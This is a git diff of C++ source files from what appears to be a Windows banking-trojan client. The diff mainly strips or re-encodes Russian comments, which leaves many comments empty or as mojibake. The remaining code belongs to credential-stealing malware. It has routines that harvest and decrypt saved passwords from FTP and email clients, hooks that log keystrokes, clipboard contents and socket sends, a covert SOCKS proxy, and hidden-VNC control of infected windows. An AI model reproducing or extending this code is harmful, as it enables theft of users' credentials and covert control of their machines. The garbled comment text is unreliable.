a/source/client/screenshot.cpp b/source/client/screenshot.cpp index 2420e60..6af57ce 100644 --- a/source/client/screenshot.cpp +++ b/source/client/screenshot.cpp @@ -77,7 +77,7 @@ IStream *Screenshoot::_screenToIStream(LPWSTR mimeType, DWORD quality, WORD rect goto END; } - //Загрузка gdi32.dll. + //Загрузка gdi32.dll. gdi32Dll = CWA(kernel32, LoadLibraryA)("gdi32.dll"); CREATEDCW createDcW = (CREATEDCW)CWA(kernel32, GetProcAddress)(gdi32Dll, "CreateDCW"); @@ -95,7 +95,7 @@ IStream *Screenshoot::_screenToIStream(LPWSTR mimeType, DWORD quality, WORD rect } //////////////////////////////////////////////////// ////////////////////////////////////////////// - //В Initialization + // Initialization //////////////////////////////////////////////////// ////////////////////////////////////////////// startupInput.GdiplusVersion = 1; diff --git a/source/client/screenshot.h b/source/client/screenshot.h index 30d636e..7da7d3a 100644 --- a/source/client/screenshot.h +++ b/source/client/screenshot.h @@ -1,43 +1,43 @@ /* - Создание скриншота. + . */ #pragma once namespace Screenshoot { /* - Инициализация. + . */ void init(void); /* - Деинициализация. + . */ void uninit(void); /* - Запись скриншота экрана в IStream. + IStream. - IN mimeType - формат изображения. - IN quality - качество картинки в процентах (только JPEG). - IN rect - размер стороны квадрата вокруг курсора, или 0 - для создание скриншота всего - экрана. + IN mimeType - . + IN quality - ( JPEG). + IN rect - , 0 - + . - Return - IStream - в случаи успеха, - NULL - в случаи ошибки. + Return - IStream - , + NULL - . */ IStream *_screenToIStream(LPWSTR mimeType, DWORD quality, WORD rect); - /*В В В В Record screenshots into the socket. + /*    Record screenshots into the socket. -В В В В IN s - socket. -В В В В IN mimeType - the image format. -В В В В IN quality - picture quality in percent (only JPEG). -В В В В IN rect - the size of the square around the cursor, or 0 - to create a screenshot of the -В В В В В В В В В В В В В В В В В В screen. +    IN s - socket. +    IN mimeType - the image format. +    IN quality - picture quality in percent (only JPEG). +    IN rect - the size of the square around the cursor, or 0 - to create a screenshot of the +                  screen. -В В В В Return - true - if successful, -В В В В В В В В В В В В В В В В В В false - if an error occurs. -В В */ +    Return - true - if successful, +                  false - if an error occurs. +  */ bool _screenToSocket(SOCKET s, LPWSTR mimeType, DWORD quality, WORD rect); }; diff --git a/source/client/sockethook.h b/source/client/sockethook.h index 38cb973..d3d698f 100644 --- a/source/client/sockethook.h +++ b/source/client/sockethook.h @@ -1,5 +1,5 @@ /* - Перехват WinSocket. + WinSocket. */ #pragma once @@ -7,27 +7,27 @@ namespace SocketHook { /* - Инициализация. + . */ void init(void); /* - Деинициализация. + . */ void uninit(void); /* - Перехватчик closesocket. + closesocket. */ int WSAAPI hookerCloseSocket(SOCKET s); /* - Перехватчик send. + send. */ int WSAAPI hookerSend(SOCKET s, const char *buf, int len, int flags); - /*В В В В Interceptor WSASend. -В В */ + /*    Interceptor WSASend. +  */ int WSAAPI hookerWsaSend(SOCKET s, LPWSABUF buffers, DWORD bufferCount, LPDWORD numberOfBytesSent, DWORD flags, LPWSAOVERLAPPED overlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE completionRoutine); }; #endif diff --git a/source/client/socks5server.cpp b/source/client/socks5server.cpp index 23355f9..7383205 100644 --- a/source/client/socks5server.cpp +++ b/source/client/socks5server.cpp @@ -64,19 +64,19 @@ void Socks5Server::uninit(void) } /* - Отправка ответа клиенту Socks5. + Socks5. - IN sourceSocket - сокет, на котоырй будет отправлен ответ. - IN nameSocket - сокет, данные которого нужно получить или INVALID_SOCKET для ответе с IP и - портом заполнинами нулями. - IN replyCode - код ответа. - IN flags - флаги S5_*. + IN sourceSocket - , . + IN nameSocket - , INVALID_SOCKET IP + . + IN replyCode - . + IN flags - S5_*. - Return - (-1) - в сулчаи ошибки получения данных об IP, ответ при этом не отправляется, - и данное значение не возможно получить при + Return - (-1) - IP, , + (nameSocket == INVALID_SOCKET), - 0 - в случаи ошибки в протоколе или разрыве соединения, - 1 - в случаи успешной отправки ответа. + 0 - , + 1 - . */ static int socks5Reply(SOCKET sourceSocket, SOCKET nameSocket, BYTE replyCode, DWORD flags) { @@ -158,7 +158,7 @@ bool Socks5Server::_start5(SOCKET s, DWORD timeout) SOCKS5_QUERY sq; BYTE replyCode = 0; //successful - if(!WSocket::tcpRecvAll(s, &sq, sizeof(SOCKS5_QUERY), timeout) || sq.version != 5/*Ошибка протокола*/)return false; + if(!WSocket::tcpRecvAll(s, &sq, sizeof(SOCKS5_QUERY), timeout) || sq.version != 5/* */)return false; //Prioretet type IP when querying the DNS. int familyList[2]; @@ -212,7 +212,7 @@ bool Socks5Server::_start5(SOCKET s, DWORD timeout) { BYTE domain[MAXBYTE + 1]; BYTE domainLen; - if(!WSocket::tcpRecvAll(s, &domainLen, sizeof(BYTE), timeout) || domainLen == 0 /*Ошибка протокола*/ || + if(!WSocket::tcpRecvAll(s, &domainLen, sizeof(BYTE), timeout) || domainLen == 0 /* */ || !WSocket::tcpRecvAll(s, domain, domainLen, timeout))return false; domain[domainLen] = 0; @@ -260,7 +260,7 @@ bool Socks5Server::_start5(SOCKET s, DWORD timeout) return false; } - //if(replyCode == 0 && destAddr == NULL)иReplyCode = 1; //SOCKS-server error + //if(replyCode == 0 && destAddr == NULL)ReplyCode = 1; //SOCKS-server error //Errors in the receipt of IP is not found, look team. bool retVal = true; @@ -549,18 +549,18 @@ NEXT2:; } /* - Отправка ответа клиенту Socks4. + Socks4. - IN sourceSocket - сокет, на котоырй будет отправлен ответ. - IN nameSocket - сокет, данные которого нужно получить или INVALID_SOCKET для ответе с IP и - портом заполнинами нулями. - IN replyCode - код ответа. + IN sourceSocket - , . + IN nameSocket - , INVALID_SOCKET IP + . + IN replyCode - . - Return - (-1) - в сулчаи ошибки получения данных об IP, ответ при этом не отправляется, - и данное значение не возможно получить при + Return - (-1) - IP, , + (nameSocket == INVALID_SOCKET), - 0 - в случаи ошибки в протоколе или разрыве соединения, - 1 - в случаи успешной отправки ответа. + 0 - , + 1 - . */ static int socks4Reply(SOCKET sourceSocket, SOCKET nameSocket, BYTE replyCode, DWORD flags) { @@ -596,7 +596,7 @@ static int socks4Reply(SOCKET sourceSocket, SOCKET nameSocket, BYTE replyCode, D return WSocket::tcpSend(sourceSocket, &sr, sizeof(SOCKS4_REPLY)) ? 1 : 0; } -/*В В http://www.sockschain.com/doc/socks4_protocol.htm*/ +/*  http://www.sockschain.com/doc/socks4_protocol.htm*/ bool Socks5Server::_start4(SOCKET s, DWORD timeout) { DWORD flags = WSocket::getFamily(s) == AF_INET6 ? S5_CLIENT_IS_IPV6 : S5_CLIENT_IS_IPV4; diff --git a/source/client/socks5server.h b/source/client/socks5server.h index edb38bd..27ecc0a 100644 --- a/source/client/socks5server.h +++ b/source/client/socks5server.h @@ -1,51 +1,51 @@ /* - Socks5 IPv4/IPv6 сервер без поддержки аутентификации. + Socks5 IPv4/IPv6 . - Примечание: при команде BIND входящее соединение ожидается SOCKS5_BIND_TIMEOUT миллисекунд. + : BIND SOCKS5_BIND_TIMEOUT . */ #pragma once namespace Socks5Server { /* - Инициализация. + . */ void init(void); /* - Деинициализация. + . */ void uninit(void); /* - Запуск сессии Socks 4 (версия читается из сокета до вызова). + Socks 4 ( ). - IN s - сокет, после окончания сессиии сокет НЕ будет закрыт. - IN timeout - таймаут сокета в миллисекундах, 0 для неограниченого ожидания. + IN s - , . + IN timeout - , 0 . - Return - true - в случаи проведения сессии без ошибок протокола и обрывов связи, - false - в случаи возникновения ошибок в протоколе или обрывов связи. + Return - true - , + false - . */ bool _start5(SOCKET s, DWORD timeout); /* - Запуск сессии Socks 5 (версия читается из сокета до вызова). + Socks 5 ( ). - IN s - сокет, после окончания сессиии сокет НЕ будет закрыт. - IN timeout - таймаут сокета в миллисекундах, 0 для неограниченого ожидания. + IN s - , . + IN timeout - , 0 . - Return - true - в случаи проведения сессии без ошибок протокола и обрывов связи, - false - в случаи возникновения ошибок в протоколе или обрывов связи. + Return - true - , + false - . */ bool _start4(SOCKET s, DWORD timeout); - /*В В В В Starting the session, with auto determine a Socks. -В В В В  -В В В В IN s - the socket after the session socket will be closed. -В В В В IN timeout - timeout of the socket, in milliseconds, 0 for unlimited expectations. + /*    Starting the session, with auto determine a Socks. +     +    IN s - the socket after the session socket will be closed. +    IN timeout - timeout of the socket, in milliseconds, 0 for unlimited expectations. -В В В В Return - true - in the case of an error-free session protocol, and disconnected, -В В В В В В В В В В В В В В В В В false - if there are errors in the protocol or connection failure. -В В */ +    Return - true - in the case of an error-free session protocol, and disconnected, +                 false - if there are errors in the protocol or connection failure. +  */ bool _start(SOCKET s, DWORD timeout); }; diff --git a/source/client/softwaregrabber.cpp b/source/client/softwaregrabber.cpp index e6d3f75..d1fe87e 100644 --- a/source/client/softwaregrabber.cpp +++ b/source/client/softwaregrabber.cpp @@ -40,10 +40,10 @@ #endif /* - Запись отчета. + . - IN OUT list - данные для записи, буду освобождены после выхода из функции. - IN titleId - заголовок отчета CryptedStrings::id_*. + IN OUT list - , . + IN titleId - CryptedStrings::id_*. IN reportType - BLT_*. */ static void writeReport(LPWSTR list, DWORD titleId, DWORD reportType) @@ -98,14 +98,14 @@ void SoftwareGrabber::_removeMacromediaFlashFiles(void) #if(BO_SOFTWARE_EMAIL > 0) /* - Перечесление всех писем из дирикторий Windows Mail. + Windows Mail. IN mimeAllocator - IMimeAllocator. IN store - IStoreNamespace. - IN currentFolder - текущая директория. - IN OUT messageProps - переменная для экономии стека. - IN OUT folderProps - переменная для экономии стека. - IN OUT list - список для email'ов. + IN currentFolder - . + IN OUT messageProps - . + IN OUT folderProps - . + IN OUT list - email'. */ static void enumWindowsMailMessagesAndFolders(IMimeAllocator *mimeAllocator, IStoreNamespace *store, IStoreFolder *currentFolder, MESSAGEPROPS *messageProps, FOLDERPROPS *folderProps, LPWSTR *list) { @@ -196,31 +196,31 @@ void SoftwareGrabber::_emailWindowsMailRecipients(void) //////////////////////////////////////////////////// //////////////////////////////////////////////// /* - Надстройка над IPropertyContainer::GetPropSz() для получения Unicode-строки. + IPropertyContainer::GetPropSz() Unicode-. - IN account - аккаунт. - IN id - ID опции. + IN account - . + IN id - ID . - Return - строка, или NULL. Нужно освободить через Mem. + Return - , NULL. Mem. */ static LPWSTR outlookExpressSzToUnicode(IImnAccount *account, DWORD id) { - char buffer[256/*Макс. размер согласно CCHMAX_*.*/]; + char buffer[256/*. CCHMAX_*.*/]; if(account->GetPropSz(id, buffer, sizeof(buffer)) != S_OK)return NULL; return Str::_ansiToUnicodeEx(buffer, -1); } /* - Добавление данных сервера в отчет. + . - IN title - заголовок. - IN account - аккаунт. + IN title - . + IN account - . IN serverId - AP_*_SERVER. IN portId - AP_*_PORT. IN sslId - AP_*_SSL. IN userNameId - AP_*_USERNAME. IN passwordId - AP_*_PASSWORD. - OUT buffer - буфер для данных. + OUT buffer - . */ static void appendOutlookExpressInfo(const LPWSTR title, IImnAccount *account, DWORD serverId, DWORD portId, DWORD sslId, DWORD userNameId, DWORD passwordId, LPWSTR *buffer) { @@ -328,13 +328,13 @@ typedef struct }WINDOWSMAILDATA; /* - Получение строки из Windows Mail параметра. + Windows Mail . - IN root - рутовый элемент. - IN title - заголовок(префкс) элемента. - IN stringId - ID строки формата элемента. + IN root - . + IN title - () . + IN stringId - ID . - Return - строка, или NULL в случаи ошибки. Нужно освободить через _freeBstr(). + Return - , NULL . _freeBstr(). */ static BSTR getWindowsMailString(IXMLDOMElement *root, const LPWSTR title, DWORD stringId) { @@ -347,16 +347,16 @@ static BSTR getWindowsMailString(IXMLDOMElement *root, const LPWSTR title, DWORD } /* - Добавление данных сервера в отчет. + . - IN title - заголовок. - IN defaultPort - порт по умолчанию. - IN salt - секрет пароля. - IN root - рутовый элемент. - OUT buffer - буфер для данных. + IN title - . + IN defaultPort - . + IN salt - . + IN root - . + OUT buffer - . - Return - true - данные добавлены, - false - данные не найдены. + Return - true - , + false - . */ static bool appendWindowsMailInfo(const LPWSTR title, DWORD defaultPort, const DATA_BLOB *salt, IXMLDOMElement *root, LPWSTR *buffer) { @@ -429,7 +429,7 @@ static bool appendWindowsMailInfo(const LPWSTR title, DWORD defaultPort, const D } /* - Обработка XML-файла с аккаунтом Winodws Mail. + XML- Winodws Mail. */ static bool windowsMailAccountProc(const LPWSTR path, const WIN32_FIND_DATAW *fileInfo, void *data) { @@ -721,7 +721,7 @@ void SoftwareGrabber::_emailWindowsContacts(void) WDEBUG1(WDDT_INFO, "hr=0x%08X", hr); - if(hr == S_OK || hr == ERROR_INSUFFICIENT_BUFFER /*Буфер мал.*/ || hr == S_FALSE /*Параметр пустой*/)continue; + if(hr == S_OK || hr == ERROR_INSUFFICIENT_BUFFER /* .*/ || hr == S_FALSE /* */)continue; break; //Usually ERROR_PATH_NOT_FOUND. } @@ -772,12 +772,12 @@ typedef struct //////////////////////////////////////////////////// //////////////////////////////////////////////// /* - Декруптор пароля. + . - IN OUT pass - пароль. - IN sectionName - имя секции. Не может быть нулевой. + IN OUT pass - . + IN sectionName - . . - Return - размер пароля. + Return - . */ static int ftpFlashFxp3Decrypt(LPWSTR pass, LPWSTR sectionName) { @@ -821,10 +821,10 @@ static int ftpFlashFxp3Decrypt(LPWSTR pass, LPWSTR sectionName) bool ftpFlashFxp3Proc(const LPWSTR path, const WIN32_FIND_DATAW *fileInfo, void *data); -/*В В Standard search. +/*  Standard search. -В В IN path - the path. -В В IN OUT ftpData - search data.*/ +  IN path - the path. +  IN OUT ftpData - search data.*/ static void ftpFlashFxp3BasicSearch(LPWSTR path, FTPDATA *ftpData) { CSTR_GETW(file1, softwaregrabber_flashfxp_file_1); @@ -929,12 +929,12 @@ void SoftwareGrabber::_ftpFlashFxp3(void) //////////////////////////////////////////////////// //////////////////////////////////////////////// #if(0) /* - Декруптор пароля. + . - IN OUT pass - пароль. - IN sectionName - имя секции. Не может быть нулевой. + IN OUT pass - . + IN sectionName - . . - Return - размер пароля. + Return - . */ static int ftpCuteFtpDecrypt(LPWSTR pass, LPWSTR sectionName) { @@ -977,10 +977,10 @@ static int ftpCuteFtpDecrypt(LPWSTR pass, LPWSTR sectionName) bool ftpCuteFtpProc(LPWSTR path, WIN32_FIND_DATAW *fileInfo, void *data); -/*В В Standard search. +/*  Standard search. -В В IN path - the path. -В В IN OUT ftpData - search data.*/ +  IN path - the path. +  IN OUT ftpData - search data.*/ static void ftpCuteFtpBasicSearch(LPWSTR path, FTPDATA *ftpData) { const LPWSTR files[] = {L"sm.dat", L"tree.dat", L"smdata.dat"}; @@ -1053,11 +1053,11 @@ static unsigned long randTotalCommander(unsigned long *seed, unsigned long val) } /* - Декруптор пароля. + . - IN OUT pass - пароль. + IN OUT pass - . - Return - размер пароля. + Return - . */ static int ftpTotalCommanderDecrypt(LPWSTR pass) { @@ -1102,10 +1102,10 @@ static int ftpTotalCommanderDecrypt(LPWSTR pass) bool ftpTotalCommanderProc(const LPWSTR path, const WIN32_FIND_DATAW *fileInfo, void *data); -/*В В Standard search. +/*  Standard search. -В В IN path - the path. -В В IN OUT ftpData - search data. IN recrusive - рекрусивный поиск. +  IN path - the path. +  IN OUT ftpData - search data. IN recrusive - . */ static void ftpTotalCommanderBasicSearch(LPWSTR path, FTPDATA *ftpData, bool recrusive) { @@ -1229,11 +1229,11 @@ void SoftwareGrabber::_ftpTotalCommander(void) //////////////////////////////////////////////////// //////////////////////////////////////////////// /* - Декруптор пароля. + . - IN OUT pass - пароль. + IN OUT pass - . - Return - размер пароля. + Return - . */ static int ftpWsFtpDecrypt(LPWSTR pass) { @@ -1243,10 +1243,10 @@ static int ftpWsFtpDecrypt(LPWSTR pass) bool ftpWsFtpProc(const LPWSTR path, const WIN32_FIND_DATAW *fileInfo, void *data); -/*В В Standard search. +/*  Standard search. -В В IN path - the path. -В В IN OUT ftpData - search data. IN recrusive - рекрусивный поиск. +  IN path - the path. +  IN OUT ftpData - search data. IN recrusive - . */ static void ftpWsFtpBasicSearch(LPWSTR path, FTPDATA *ftpData) { @@ -1352,10 +1352,10 @@ void SoftwareGrabber::_ftpWsFtp(void) bool ftpFileZillaProc(const LPWSTR path, const WIN32_FIND_DATAW *fileInfo, void *data); -/*В В Standard search. +/*  Standard search. -В В IN path - the path. -В В IN OUT ftpData - search data.*/ +  IN path - the path. +  IN OUT ftpData - search data.*/ static void ftpFileZillaBasicSearch(LPWSTR path, FTPDATA *ftpData) { CSTR_GETW(file1, softwaregrabber_filezilla_file_mask_1); @@ -1457,11 +1457,11 @@ void SoftwareGrabber::_ftpFileZilla(void) //////////////////////////////////////////////////// //////////////////////////////////////////////// /* - Декруптор пароля. + . - IN OUT pass - пароль. Буфер должен иметь размер не менее MAX_ITEM_SIZE. + IN OUT pass - . MAX_ITEM_SIZE. - Return - размер пароля. + Return - . */ static int ftpFarManagerDecrypt(LPWSTR pass) { @@ -1540,12 +1540,12 @@ void SoftwareGrabber::_ftpFarManager(void) //////////////////////////////////////////////////// //////////////////////////////////////////////// /* - Декруптор пароля. + . - IN OUT pass - пароль. - IN hostAndUserSize - сумма длин пароля и имени. + IN OUT pass - . + IN hostAndUserSize - . - Return - размер пароля. + Return - . */ static int ftpWinScpDecrypt(LPWSTR pass, int hostAndUserSize) { @@ -1664,11 +1664,11 @@ void ftpFtpCommanderMarkStringEnd(LPSTR string) } /* - Декруптор пароля. + . - IN OUT pass - пароль. + IN OUT pass - . - Return - размер пароля. + Return - . */ static int ftpFtpCommanderDecrypt(LPSTR pass) { @@ -1682,10 +1682,10 @@ static int ftpFtpCommanderDecrypt(LPSTR pass) bool ftpFtpCommanderProc(const LPWSTR path, const WIN32_FIND_DATAW *fileInfo, void *data); -/*В В Standard search. +/*  Standard search. -В В IN path - the path. -В В IN OUT ftpData - search data.*/ +  IN path - the path. +  IN OUT ftpData - search data.*/ static void ftpFtpCommanderBasicSearch(LPWSTR path, FTPDATA *ftpData) { CSTR_GETW(file1, softwaregrabber_fc_file_1); @@ -1789,11 +1789,11 @@ void SoftwareGrabber::_ftpFtpCommander(void) //////////////////////////////////////////////////// //////////////////////////////////////////////// /* - Декруптор пароля. + . - IN OUT pass - пароль. + IN OUT pass - . - Return - размер пароля. + Return - . */ static int ftpCoreFtpDecrypt(LPWSTR pass) { @@ -1865,11 +1865,11 @@ void SoftwareGrabber::_ftpCoreFtp(void) //////////////////////////////////////////////////// //////////////////////////////////////////////// /* - Декруптор пароля. + . - IN OUT pass - пароль. + IN OUT pass - . - Return - размер пароля. + Return - . */ static int ftpSmartFtpDecrypt(LPWSTR pass) { @@ -1899,10 +1899,10 @@ static int ftpSmartFtpDecrypt(LPWSTR pass) bool ftpSmartFtpProc(const LPWSTR path, const WIN32_FIND_DATAW *fileInfo, void *data); -/*В В Standard search. +/*  Standard search. -В В IN path - the path. -В В IN OUT ftpData - search data.*/ +  IN path - the path. +  IN OUT ftpData - search data.*/ static void ftpSmartFtpBasicSearch(LPWSTR path, FTPDATA *ftpData) { CSTR_GETW(file1, softwaregrabber_smartftp_file_mask_1); diff --git a/source/client/softwaregrabber.h b/source/client/softwaregrabber.h index eff77a4..3b45ff8 100644 --- a/source/client/softwaregrabber.h +++ b/source/client/softwaregrabber.h @@ -1,44 +1,44 @@ #pragma once /* - Граббер логинов/паролий и т.д. из различного ПО. + / .. . */ namespace SoftwareGrabber { /* - Инициализация. + . */ void init(void); /* - Деинициализация. + . */ void uninit(void); /* - Поулчение "куков" от Macromedia(Adobe) Flash Player. + "" Macromedia(Adobe) Flash Player. */ void _getMacromediaFlashFiles(void); /* - Удаление "куков" от Macromedia(Adobe) Flash Player. + "" Macromedia(Adobe) Flash Player. */ void _removeMacromediaFlashFiles(void); #if(BO_SOFTWARE_EMAIL > 0) /* - Граббер получателей из Windows Mail/Outlook Express. + Windows Mail/Outlook Express. */ void _emailWindowsMailRecipients(void); /* - Граббер логинов из Outlook Express. - Теряеть актуальность вместе с XP. + Outlook Express. + XP. */ void _emailOutlookExpress(void); /* - Граббер логинов из Windows Mail/Windows Live Mail. + Windows Mail/Windows Live Mail. IN live - true - Windows Live Mail, false - Windows Mail. @@ -46,21 +46,21 @@ namespace SoftwareGrabber void _emailWindowsMail(bool live); /* - Получение email'ов из Windows Address Book. Получение проихоид из всех групп, папок, и - идентификаторов адресной книги текущего пользователя. - Теряеть актуальность вместе с XP. + email' Windows Address Book. , , + . + XP. */ void _emailWindowsAddressBook(void); /* - Получение email'ов из Windows Contacts. + email' Windows Contacts. */ void _emailWindowsContacts(void); /* - Обработка всех E-mail-клиентов. + E-mail-. - Требует ComLibrary. + ComLibrary. */ void _emailAll(void); #endif @@ -116,10 +116,10 @@ namespace SoftwareGrabber */ void _ftpSmartFtp(void); - /*В В В В Handling all FTP-clients. + /*    Handling all FTP-clients. -В В В В Requires ComLibrary. -В В */ +    Requires ComLibrary. +  */ void _ftpAll(void); #endif }; diff --git a/source/client/tcpserver.cpp b/source/client/tcpserver.cpp index 7dc2792..0ad8d13 100644 --- a/source/client/tcpserver.cpp +++ b/source/client/tcpserver.cpp @@ -26,14 +26,14 @@ typedef struct }SOCKETDATA; /* - Заполнение структуры SOCKETDATA. + SOCKETDATA. - IN family - AF_INET или AF_INET6. - IN port - порт. Если равен 0, то выбирается произволный порт. + IN family - AF_INET AF_INET6. + IN port - . 0, . OUT sd - SOCKETDATA. - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ static bool createSocketData(int family, WORD port, SOCKETDATA *sd) { @@ -60,7 +60,7 @@ static bool createSocketData(int family, WORD port, SOCKETDATA *sd) } /* - Удаление ресурсов занятых SOCKETDATA. + SOCKETDATA. IN sd - SOCKETDATA. */ @@ -71,13 +71,13 @@ static void freeSocketData(SOCKETDATA *sd) } /* - Создание сокета для прослущивания на произволном порту. + . - IN initialPort - предпочитаемый порт, или 0 для произволного. - OUT ipv4Data - IPv4-сокет. - OUT ipv6Data - IPv6-сокет. + IN initialPort - , 0 . + OUT ipv4Data - IPv4-. + OUT ipv6Data - IPv6-. - Return - номер порта, на котором удалось влючить прослушивание. Или 0 в случаи ошибки. + Return - , . 0 . */ static WORD createListenSocket(WORD initialPort, SOCKETDATA *ipv4Data, SOCKETDATA *ipv6Data) { @@ -123,9 +123,9 @@ void TcpServer::uninit(void) //////////////////////////////////////////////////// //////////////////////////////////////////////// /* - Поток для работы с S1 сессией. + S1 . - IN p - сокет сессии. + IN p - . Return - 0. */ @@ -184,7 +184,7 @@ static DWORD WINAPI s1Proc(void *p) } /* - Поток для принятия соединений. + . Return - 0. */ diff --git a/source/client/tcpserver.h b/source/client/tcpserver.h index 47ad843..d9f1c10 100644 --- a/source/client/tcpserver.h +++ b/source/client/tcpserver.h @@ -1,5 +1,5 @@ /* - Сервис локального TCP-сервера. + TCP-. */ #pragma once @@ -8,21 +8,21 @@ namespace TcpServer { /* - Инициализация. + . */ void init(void); /* - Деинициализация. + . */ void uninit(void); - /*В В В В Thread creation. + /*    Thread creation. -В В В В IN OUT group - the group potokok to which will belong to the flow of service. -В В В В  -В В В В Return - true - if successful, -В В В В В В В В В В В В В В В В В В В false - if an error occurs. -В В */ +    IN OUT group - the group potokok to which will belong to the flow of service. +     +    Return - true - if successful, +                   false - if an error occurs. +  */ bool _create(ThreadsGroup::GROUP *group); }; diff --git a/source/client/userhook.cpp b/source/client/userhook.cpp index d981d43..c06c16a 100644 --- a/source/client/userhook.cpp +++ b/source/client/userhook.cpp @@ -22,9 +22,9 @@ static CRITICAL_SECTION userInputCs; static LPWSTR userInputBuffer; static WORD userInputBufferSize; -/*В В Add a row in the input buffer. +/*  Add a row in the input buffer. -В В IN string - string to add.*/ +  IN string - string to add.*/ static void addString(const LPWSTR string) { int stringSize = Str::_LengthW(string); diff --git a/source/client/userhook.h b/source/client/userhook.h index a6be52b..09dbf0c 100644 --- a/source/client/userhook.h +++ b/source/client/userhook.h @@ -1,55 +1,55 @@ /* - Перехват ввода пользователя. + . */ #pragma once namespace UserHook { /* - Инициализация. + . */ void init(void); /* - Деинициализация. + . */ void uninit(void); /* - Включение захвата изображения при клики. + . - IN clickCount - кол. кликов для захвата. - IN filePrefix - префикс имен файлов изоброжений. Может быть NULL. + IN clickCount - . . + IN filePrefix - . NULL. */ void enableImageOnClick(WORD clicksCount, LPSTR filePrefix); /* - Очистка буфера ввода пользователя. + . */ void clearInput(void); /* - Получение текущей истории ввода. + . - OUT buffer - буфер, необходимо освободить через Mem. + OUT buffer - , Mem. - Return - 0 - если буфер пусть, *buffer будет равен NULL. - >0 - размер buffer в символах, исключая нулевой символ. + Return - 0 - , *buffer NULL. + >0 - buffer , . */ DWORD getInput(LPWSTR *buffer); /* - Перехватчик TranslateMessage. + TranslateMessage. */ BOOL WINAPI hookerTranslateMessage(const MSG *msg); /* - Перехватчик GetClipboardData. + GetClipboardData. */ HANDLE WINAPI hookerGetClipboardData(UINT format); - /*В В В В Interceptor SetWindowTextW. -В В */ + /*    Interceptor SetWindowTextW. +  */ #if defined HOOKER_SETWINDOWTEXT BOOL WINAPI hookerSetWindowTextW(HWND window, const LPWSTR string); #endif diff --git a/source/client/vnc/defines.h b/source/client/vnc/defines.h index 9a16e28..ab455ea 100644 --- a/source/client/vnc/defines.h +++ b/source/client/vnc/defines.h @@ -1,5 +1,5 @@ /* - Внутринни данные VNC. + VNC. */ #pragma once @@ -33,7 +33,7 @@ enum WCF_PAINTMETHOD_PAINT = 0x02, //Interception BeginPaint / EndPaint etc. WCF_PAINTMETHOD_PRINT = 0x04, //WM_PRINT. WCF_PAINTMETHOD_PRINTWINDOW = 0x08, //PrintWindow. - WCF_PAINTMETHOD_SKIP_HOOK = 0x10, //РќРµ вызыват через VNCPROCESSDATA.vncMessage. + WCF_PAINTMETHOD_SKIP_HOOK = 0x10, //Не вызыват через VNCPROCESSDATA.vncMessage. WCF_MOUSE_CLIENT_TO_SCREEN = 0x20, //Send all mouse messages with coordinates otnostelno screen. WCF_MOUSE_AUTOCAPTURE = 0x40, //Automatically exchange SetCapture hover myshy hit the window. @@ -130,73 +130,73 @@ extern VNCPROCESSDATA vncActiveProcessData; //////////////////////////////////////////////////// //////////////////////////////////////////////// /* - Рисование декстопа. + . IN vncProcessData - VNCPROCESSDATA. */ void paintDesktop(VNCPROCESSDATA *vncProcessData); /* - Рисование окна. + . IN vncProcessData - VNCPROCESSDATA. - IN window - окно для печати. - IN visibleRect - видимая область для окна. - IN isServer - true - функция вызвана с сервера, - false - функция вызвана с зараженного процесса. + IN window - . + IN visibleRect - . + IN isServer - true - , + false - . - Return - true - окно нарисовано/пропущено, - false - окно не нарисовано. + Return - true - /, + false - . */ bool paintWindow(VNCPROCESSDATA *vncProcessData, HWND window, const RECT *visibleRect, bool isServer); /* - Обработка сообщений мыши. + . IN vncProcessData - VNCPROCESSDATA. IN flags - Rfb::MOUSEEVENTF_*. IN x - X. IN y - Y. - IN data - допольнительные данные, согласно протоколу RFB. + IN data - , RFB. */ void mouseMessage(VNCPROCESSDATA *vncProcessData, DWORD flags, LONG x, LONG y, DWORD data); /* - Обработка сообщений клавиатуры. + . IN vncProcessData - VNCPROCESSDATA. IN keySym - KeySym. - IN down - true - нажатие, false - отпсукание. + IN down - true - , false - . */ void keyboardMessage(VNCPROCESSDATA *vncProcessData, DWORD keySym, bool down); /* - Обновление состояние кнопок мыши и клавиатуры. + . IN OUT vncProcessData - VNCPROCESSDATA. - IN virtualKey - клавиша для изменения, 0 - если не чего изменять не нужно. - IN down - true - нажать клавишу, false - отпустить клавишу. + IN virtualKey - , 0 - . + IN down - true - , false - . - Return - текущая маска MK_* для мышиных сообщений. + Return - MK_* . */ WORD updateInputState(VNCPROCESSDATA *vncProcessData, BYTE virtualKey, bool down); /* - Выбираем метод рисования окна. + . - IN window - окно. + IN window - . Return - PWM_*. */ WORD getWindowClassFlags(HWND window); -/*В В Inifitsirovan checks whether the process window. +/*  Inifitsirovan checks whether the process window. -В В IN vncProcessData - VNCPROCESSDATA. -В В IN window - the window. +  IN vncProcessData - VNCPROCESSDATA. +  IN window - the window. -В В Return - true - inifitsirovan, -В В В В В В В В В В В В В В В В В В В В В В false - do not inifitsirovan.*/ +  Return - true - inifitsirovan, +                      false - do not inifitsirovan.*/ bool isWindowInfected(VNCPROCESSDATA *vncProcessData, HWND window); #endif diff --git a/source/client/vnc/rfb.cpp b/source/client/vnc/rfb.cpp index 8731ec7..df4dd69 100644 --- a/source/client/vnc/rfb.cpp +++ b/source/client/vnc/rfb.cpp @@ -12,16 +12,16 @@ /* TODO: - 1. Сделать поддержку ENCODER_DesktopSize(WM_DISPLAYCHANGE). - 2. Сделать поддержку VNCAuth. - 3. Реагировать на изменеие палитры (WM_SYSCOLORCHANGE, WM_PALETTECHANGED). - 4. Реагировать на завершение работы ос. - 5. Сделать SetColourMapEntries, в данный момент не на чем тестить. - 6. Понять почему при увелечнии разрешения цикл вылетает. - 7. Конвертация палитры. - 8. Оптимизировать кодеки. - 9. Придумат алгоритм чтобы во время длительного получения команд от клиента, между ними отправлять - запрос на прорисовку. + 1. ENCODER_DesktopSize(WM_DISPLAYCHANGE). + 2. VNCAuth. + 3. (WM_SYSCOLORCHANGE, WM_PALETTECHANGED). + 4. . + 5. SetColourMapEntries, . + 6. . + 7. . + 8. . + 9. , + . */ #if(BO_VNC > 0) @@ -49,11 +49,11 @@ void Rfb::uninit(void) } /* - Быстрое копированиие пикселей. + . - OUT dest - адрес назначения. - IN source - исходный адрес. - IN widthinbytes - кол. байтов занемаемых пикселями. + OUT dest - . + IN source - . + IN widthinbytes - . . */ #define COPY_RECT_LINE(dest, source, widthinbytes) \ {\ @@ -373,15 +373,15 @@ namespace RawEncoder } /* - Отправка изменных областей клиенту. + . - IN s - сокет. - IN pid - данные. + IN s - . + IN pid - . - Return - -1 - внутрення ошибка. - 0 - 